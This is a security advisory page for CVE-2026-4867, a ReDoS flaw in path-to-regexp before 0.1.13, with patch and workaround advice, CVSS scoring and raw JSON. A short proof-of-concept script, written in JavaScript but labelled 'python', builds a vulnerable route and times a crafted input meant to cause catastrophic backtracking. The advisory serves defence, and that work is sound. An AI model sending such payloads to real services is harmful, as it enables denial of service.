Security Vulnerability Report
中文
CVE-2026-4867 CVSS 7.5 HIGH

CVE-2026-4867

Published: 2026-03-26 17:16:43
Last Modified: 2026-04-16 18:01:05
Source: ce714d77-add3-4f53-aff5-83d477b104bb

Description

Impact: A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in [email protected] only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. Patches: Upgrade to [email protected] Custom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group. Workarounds: All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+). If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pillarjs:path-to-regexp:*:*:*:*:*:node.js:*:* - VULNERABLE
path-to-regexp < 0.1.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-4867: ReDoS in path-to-regexp < 0.1.13 const pathToRegexp = require('path-to-regexp'); // Vulnerable pattern: 3 params separated by a non-dot character const routePattern = '/:a-:b-:c'; const re = pathToRegexp(routePattern); // Malicious payload designed to cause catastrophic backtracking // Using a long string of segments separated by the delimiter const maliciousPayload = '/a' + '-b'.repeat(30) + '-c'; console.time('Regex Match'); try { const match = re.exec(maliciousPayload); console.log('Matched:', match); } catch (e) { console.error('Error during match:', e); } console.timeEnd('Regex Match');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4867", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-03-26T17:16:42.983", "lastModified": "2026-04-16T18:01:04.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Impact:\n\nA bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in [email protected] only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.\n\nPatches:\n\nUpgrade to [email protected]\n\nCustom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group.\n\nWorkarounds:\n\nAll versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+).\n\nIf paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length."}, {"lang": "es", "value": "Impacto:\n\nSe genera una expresión regular incorrecta cada vez que se tienen tres o más parámetros dentro de un único segmento, separados por algo que no sea un punto (.). Por ejemplo, /:a-:b-:c o /:a-:b-:c-:d. La protección contra retroceso añadida en [email protected] solo previene la ambigüedad para dos parámetros. Con tres o más, el 'lookahead' generado no bloquea los caracteres separadores individuales, por lo que los grupos de captura se superponen y causan un retroceso catastrófico.\n\nParches:\n\nActualizar a [email protected]\n\nLos patrones de expresiones regulares personalizados en las definiciones de ruta (por ejemplo, /:a-:b([^-/]+)-:c([^-/]+)) no se ven afectados porque anulan el grupo de captura predeterminado.\n\nSoluciones provisionales:\n\nTodas las versiones pueden ser parcheadas proporcionando una expresión regular personalizada para los parámetros después del primero en un único segmento. Siempre y cuando la expresión regular personalizada no coincida con el texto anterior al parámetro, estará seguro. Por ejemplo, cambie /:a-:b-:c a /:a-:b([^-/]+)-:c([^-/]+).\n\nSi las rutas no pueden ser reescritas y las versiones no pueden ser actualizadas, otra alternativa es limitar la longitud de la URL."}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pillarjs:path-to-regexp:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.1.13", "matchCriteriaId": "AD9DFD27-4A53-4409-9DAC-8E326EBB3303"}]}]}], "references": [{"url": "https://blakeembrey.com/posts/2024-09-web-redos", "source": "ce714d77-add3-4f53-aff5-83d477b104bb", "tags": ["Technical Description"]}, {"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/advisories/GHSA-9wv6-86v2-598j", "source": "ce714d77-add3-4f53-aff5-83d477b104bb", "tags": ["Not Applicable"]}]}}